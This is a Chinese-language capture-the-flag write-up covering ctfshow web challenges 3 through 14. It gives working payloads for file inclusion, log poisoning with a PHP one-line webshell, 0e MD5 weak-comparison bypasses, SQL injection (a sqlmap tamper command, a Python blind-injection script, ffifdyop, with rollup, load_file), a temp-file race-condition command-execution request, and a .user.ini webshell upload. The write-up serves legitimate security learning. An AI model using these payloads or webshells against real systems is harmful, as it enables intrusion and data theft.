ctfshow web刷题记录
web3 文件包含
看到include想到文件包含漏洞,用linux的用户信息存放路径/etc/passwd测试一下,发现有回显:
尝试一下抓包php伪协议input写入命令执行:
新版本bp存在不能换行问题,但是可以从其他地方复制过来空行,之后记得点到\n检查一下空行是不是\r\n
发现两个页面文件,分别访问一下,发现flag
web4 日志注入漏洞
和上一题一样先尝试php伪协议,发现被ban,学习wp后知道了是考查日志注入
日志注入漏洞:
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息
如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,用include包含日志文件的时候,日志文件中的恶意代码就会被当成php语言执行,从而造成任意代码执行甚至获取shell
比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell
为什么服务器日志中的代码会被执行?
答:
准备工作做完了,下面来看题:
先试试访问nginx的日志文件
可以访问,接着抓个包观察一下
可以发现日志会把我们每次的访问记录下来
再看内容,日志总会把UA和请求头写入日志,那么我们就可以在这两项当中写马(这里采用在UA写)
再次访问一下这个网址,确保日志文件被当前页面包含(当然这时候你在显示出的日志中是看不到木马的代码的,因为已经被执行了)
接下来蚁剑连接这个网址
拿下
注:本题不知道为什么新版bp(蓝色的)是不能传上去马的,必须用旧版(黄色的)才行
补充一下关于日志文件:
apache一般是/var/log/apache/access.log
nginx一般是/var/log/nginx/access.log和/var/log/nginx/error.log
web5 弱比较
ctype_alpha()函数:判断是否只含字符,是则true。这里前面加了!所以v1必须只含字符才不会die
is_numeric()函数:判断是否只含数字。
弱比较:0e开头被当作科学计数法,php在计算时会把它当作0比较
开头为0e(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
v1纯字母,v2纯数字
web6 sql注入(空格过滤)
试试万能密码
报错了,抓个包看看什么情况
可以看到空格被替换成了+,即存在空格过滤,想到用temper脚本
sqlmap -r /home/kali/Desktop/1.txt --batch --tamper "space2comment" --dbs
嗦出来力
web7 sql注入
随便点一个页面进来看看,好家伙一堆英文,翻译了下发现还是和英文一样是我看不懂的东西,
此时注意到url中出现了id=1,猜测是靠id这个参数识别页面的,点开其他两个页面,果然如此
尝试对id注入1 ’ or 1 #
确定了是sql注入,抓个包看看
发现是用url编码把空格过滤掉了,接下来就是和上题一样的步骤
web8 sql注入-盲注
还是ban了空格
正常跑发现报错了,按它说的提升level试试
level3跑出来了,接下来按步骤来
结果发现有注入点,但是不能取得数据库名,这就是工具一把嗦的弊端了,接下来换手工:
先用bp跑一下fuzz看看ban表
这里的长度538的都是被ban的,通过对比分析得知and,单引号,空格,union,逗号是被过滤的
逗号被过滤:
1)substr的逗号被过滤:使用from pos for len,其中pos代表从pos个开始读取len长度的子串 。eg:常规写法 select substr(“string”,1,3),若过滤了逗号,可以使用from pos for len来取代 select substr(“string” from 1 for 3)
2)union select的逗号被过滤:使用join关键字来绕过。eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c,上式等价于 union select 1,2,3
3)substr()等提取子串的函数中的逗号:使用like关键字,eg:select user() like “t%”(找是不是t开头),上式等价于 select ascii(substr(user(),1,1))=114
5)limit中的逗号被过滤:使用offset关键字,limit 2,1等价于limit 1 offset 2。eg:select * from users limit 1 offset 2
上式等价于 select * from users limit 2,1
————————————————
原文链接:https://blog.csdn.net/zizizizizi_/article/details/124094197
(我们这里采用第一种from for的方法绕过逗号过滤)
根据fuzz时的回显,我们发现不管怎么输,它页面返回的无非就是这三篇英文文章,考虑报错注入或者盲注,
但是逗号被过滤了,导致报错注入行不通(可能是我菜才行不通),那么只能考虑盲注。
先拿-1//or//1=1#测试:
or语句确实生效了,回显了全部内容,接着测试-1//or//1=2#,寻找这两种情况的“差集”(作为之后写脚本时判断信息是否正确的依据)
那么我们就可以选择只有or语句为真时页面才具备的单词If作为脚本中的判断依据,下面开始写脚本:
import requests #使用requests模块,记着先安装
target = "网址?id=-1/**/or/**/" #网址记得换自己的
result = '' #先定义个结果变量
for i in range(1,128): #i表示的是库/表/字段的第i个字符的ascii值
#database_payload = "ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d#" #获取数据库名
#table_payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d"
#column_payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/%d/**/for/**/1))=%d"
flag_payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d"
#上述4个payload从上到下每个跑一遍
count = 0
for j in range(31,128): #j是我们去撞库猜的字符的ascii值
r = requests.get(url=target+flag_payload % (i,j)) #这里记得换payload
if "If" in r.text: #返回true的页面存在If,可以修改
result += chr(j) #每次内循环出一个字符
print("result:%s" % result) #打印当前已跑出的信息,最后一次的就是目标信息
break
count += 1
if count >= 97: #字符不存在,循环结束
exit()
web9 目录扫描,md5注入
用kali的dirb目录扫描一下
扫出来给robots协议,访问一下
看到存在index.phps,访问
给了提示的附件,阅读代码,发现存在拼接查询语句,是sql注入
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"
原题里面admin是锁着的,只有password能注,但password被md5加密之后才拼接进查询语句,需要用到特殊payload:ffifdyop,因为ffifdyop经过md5加密后正好是sql注入的形式’or’6xxx,这个or语句读的是6,也就是真,所以成功注入
MD5 特殊payload:ffifdyop
web10 with rollup注入
f12一下发现“取消”按钮绑定了事件,点击试一下
给了有关查询语句的代码,接着审一下代码:
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; #正则ban表
return preg_replace($regex,"",$strParam);
} #把regex指定的关键字全替换成空(即删除)
if (!$con)
{
die('Could not connect: ' . mysqli_error());
} #检查数据库是否成功连接
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
} #通过检查长度是否变化,判断出是否输入过非法字符,同时也ban掉了双写绕过
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'"; #查询语句
$result=mysqli_query($con,$sql); #将查询结果从sql返回给php
if(mysqli_num_rows($result)>0){ #通过检查结果表中是否有行,判断是否查到了东西
while($row=mysqli_fetch_assoc($result)){ #循环取结果表中的行,以关联数组形式返回,且每次结束时指针后移
if($password==$row['password']){ #如果用户传参的pd和上一步查询的pd相等,则输出flag
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
总结来说就是在先选定username的时候,要让用户输入的password值和表里的password相等,其实就是把之前写在一个查询语句中的两个查询点分开写了两个查询语句。我们还是先在username处用万能密码看看所有数据,所以跑一下fuzz
分析发现空格也被ban了,用/**/替代
发现没有出现数据,恍然大悟(蠢),刚刚看过源码,这个题的查询语句后并没有接展示数据的语句,也就是只管在条件满足时输出flag。
那么好,现在看数据库中已存在的password的路行不通了,我们就换条路----自己在其中添加一段已知的password:
注意到它的password并不是直接从数据库取出,而是从第一次的查询结果表中用关联数组取出的,这个结果表是张虚拟的查询时生成的表,并非真实的数据库中的表,所以我们可以想办法在其中完成添加password的操作,下面先看一个mysql中的聚合函数with rollup:
简单概括一下就是with rollup加在group by的后面可以对结果再次分组:对group by未指定的字段求和,group by指定的字段用null占位,举个例子:
语句:…group by name with rollup;
结果:
那么我们只要用group by指定password字段即可在password字段生成一个Null,当然同时还要加上’ or 1才能查询到东西(虽然不会回显)
payload:
'/**/or/**/1/**/group/**/by/**/password/**/with/**/rollup#
同时不输入password的值(会默认为Null,注意不要手动给password传NULL)
web11 session验证
前面代码都一样,就是从session中取出password进行验证,先抓包看一下session
几次抓包后发现不同password的session是同一个,所以应该不是通过给用户输入的password加密生成session;再观察这段session完全没有头绪是怎么加密的,所以也就无从得知里面存放的password是什么(甚至里面可能根本就没password),那么我们就还是用置空NULL绕过,即抓包删除掉session,同时密码处不传参
成功绕过。
web12 命令执行(远程访问目录文件)
看源码给了hint,提示说要给cmd传参。看到变量叫cmd,刚开始还以为是要传cmd系统命令过去执行,结果尝试了半天一点反应没有…然后突然意识到怎么可能题目会直接把shell给我们呢,然后看网页是php语言的,所以尝试一下传php语句:
出现了回显,确定是传php代码过去执行。先试试system();
几次尝试后发现system函数好像被ban了,上网查到两种查看文件的方法:
scandir(“.”):scandir() 函数用于扫描指定目录,并返回一个包含目录中所有文件和子目录的数组。点号 “.” 是一个特殊的符号,表示当前目录。适用于多个操作系统,包括 Linux 和 Windows。
glob(“*”): 是一种用于获取当前目录下的文件和子目录列表的方法,适用于多个操作系统,包括 Linux 和 Windows。
构造payload:?cmd=print_r(glob(“*”));
补充:show_source函数
payload:
cmd=show_source(“index.php”);
cmd=show_source(“903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php”);
红包题第二弹 伪造文件上传的条件竞争
和上一题一样尝试一下能不能查看目录文件
构造payload:?cmd=print_r(glob(“*”));
发现报了错cerror,但是也显示出了核心源码,先审一下:
存在两个正则写的ban表,第一个ban掉了大写A-Z,小写a到o和q到z,数字0到9,符号$,即ban掉了除了小写p之外所有的字母和所有的数字及变量符号$;第二个还ban了~!@#%^&等字符。综上,可以使用的有:p ` ? / + < > =
ban掉了字母,想到可以使用数字来编码绕过
但又ban掉了数字,想到可以使用各种位运算等操作
然后又发现ban掉了所有想要使用的运算符,甚至连定义变量的$都ban了
走投无路去看wp,学习后了解到一条特性:只要php接收上传文件请求,就会生成一个临时文件。如果后端具有上传功能,那么会将这个文件拷走储存,同时删掉这个临时文件;如果不具有上传功能,则删除。
看到这条特性我们很容易就发现这跟并发处理机制十分类似(先临时存储,检查后再决定去留),那么考虑尝试条件竞争
思路:这边先上传一个写恶意代码的文件(和上一题一样写查看敏感信息的命令),在服务端临时存储趁来不及反应时我们就去访问(执行)它,跟它打一个时间差(条件竞争)
先来做一些扫盲准备:
1、临时文件夹目录:php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()函数将上传的文件移动到新位置。默认是/tmp目录。
2、临时文件命名规则:默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp linux下:phpXXXXXX。
3、上传文件:将Content-Type设定为multipart/form-data,对应的详细格式要求可参考“http协议请求篇”(http://t.csdn.cn/0VLiT
)
4、那么我们的思路就明确了:在请求体中把代码以文件形式传上去,在url处给cmd传参达到执行文件的效果
来看一下我们构造的这个上传文件的数据包(先不看url为什么怎么写):
再来看url部分为什么cmd=?><?=`.+/??p/p?p???`;这么写:
1、开头的?>是类似sql注入的操作,为了闭合后端自带的<?php,从而在后面加我们自己的语句 2、<?=这个是短标签输出的语法,<?= ?> 是 < ?php echo … ?> 的简写形式
3、反引号`(键盘Tab键上面那个键):在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。可以类比理解为将选中的内容在系统命令中执行。
3、" . ": 点命令等于source命令,用来执行文件。
4、+:因为是url传参所以用了+代替空格
5、结合上述来看:`.+文件`的意思是用系统命令执行指定的文件
6、文件名:/??p/p?p???是在模糊匹配,这么写相当于/tmp/phpxxxxxx,因为之前说了目标临时文件在/tmp/phpxxxxxx
7、综上:这个payload的意思是把目标临时文件用系统命令执行
最后来看文件内容:
1、 #! /bin/sh 指定命令解释器,#!是一个特殊的表示符,其后,跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,如:sh,csh,ksh,tcsh。本题可省略。
3、在 Web 开发中,Content-Disposition 是一个 HTTP 头部字段,一般用于指示如何处理附加在请求中的数据。对于 Content-Disposition: form-data,它指示请求中的数据是以表单数据的形式进行传输的。这种传输方式通常用于上传文件或提交表单数据。这项是必要的。
2、首先用命令ls / 来查看服务器根目录有哪些文件,发现有flag.txt,然后再用cat /flag.txt 即可。
数据包如下:
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: e689425d-2e12-4760-8ca0-5a880e830ac6.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 248
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--
参考:
https://blog.csdn.net/Ethan552525/article/details/118459568
http://t.csdn.cn/0VLiT
web13 文件上传+命令执行
f12发现文件上传到的位置,除此之外未发现其他提示,那么就根据已知的upload.php构建字典,目录扫描
扫完后发现了bak备份文件upload.php.bak,访问下载:
用记事本打开:
审代码:文件内容长度不能大于24,文件名不能大于9,后缀长度不能大于3,且后缀不能包含php
明确一下目标:传马,拿shell
1、传的马:<?php @eval($_POST['x']);?>是27个字符超出限制,因为有容错机制,所以可以简化为<?php eval($_POST[‘x’]);整24个字符
2、考虑到后缀名ban了php,所以php::$DATA,php3,php都用不了;同时对文件大小有限制,用不了图片马。但是txt没禁,所以直接传写了马的txt文件,后续配合解析漏洞即可
3、解析漏洞:.htaccess的文件内容过长,不能使用;所以使用.user.ini,内容auto_prepend_file=1.txt,使全部文件包含1.txt的内容,因为已知含有upload.php这一php文件,所以该马在其中会被当作php代码执行,有效传马
上传这两文件:
上传成功。因为我们的马写在了upload.php文件中,所以蚁剑连接一下:
测试连接,显示连接成功。接着点击添加:
发现说没有权限。不过没有关系,蚁剑只不过是个wwebshell管理工具,用不了的话我们直接传命令过去即可。和web12一样,先试试访问文件目录。
因为马是POST请求,所以hackbar传参x=print_r(glob(“*”));
成功显示所有的目录文件,接着查看那个最奇特的php文件
payload: x=show_source(“903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php”);
web14 sql注入读取文件(load_file)
观察该switch语句,发现有四种情况:‘$url’, ‘@A@’, $url, “$url” 。其中’@A@‘和’$url’只是原样返回(不替换为值)
‘$url’:使用单引号括起来的字符串,其中的变量 $url 不会被解析或替换为其实际的值。这在需要确保字符串中的内容保持不变时很有用。
$url:直接使用变量 $url,不包含在字符串中。在大多数编程语言中,当变量出现在代码中时,会按照其定义的方式进行解析和使用。
“$url”:使用双引号括起来的字符串,其中的变量 $url 会被解析或替换为其实际的值。这允许你在字符串中插入变量的值,并将其作为字符串的一部分。
当你使用单引号括起来的字符串(如 ‘$url’)时,它被视为字符串字面量,其中的变量或转义字符将不会被解析或替换为其实际的值。这是单引号字符串和双引号字符串之间的一个
主要区别
。
那么我们的目标就是让它输出$url,或者"$url"
挨个尝试后发现一个也刷新不出来页面,后来看wp才知道是设置了延时执行作为防御。
再看代码,注意到:
所以输入3,即可连着输出下面的结果
访问:
发现ban了information_schema.tables,information_schema.columns,linestring,空格,polygon。先sqlmap嗦一下
发现注入点,接着尝试:
试试web库:
发现什么内容没有,手动输入sqlmap给的payload试试:
弹窗给的提示是secret,那么就构造语句:
?query=-1//union//select/**/load_file(‘/var/www/html/secret.php’)
发现新提示,说如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。
?query=-1//union//select/**/load_file(‘/real_flag_is_here’)
看到了flag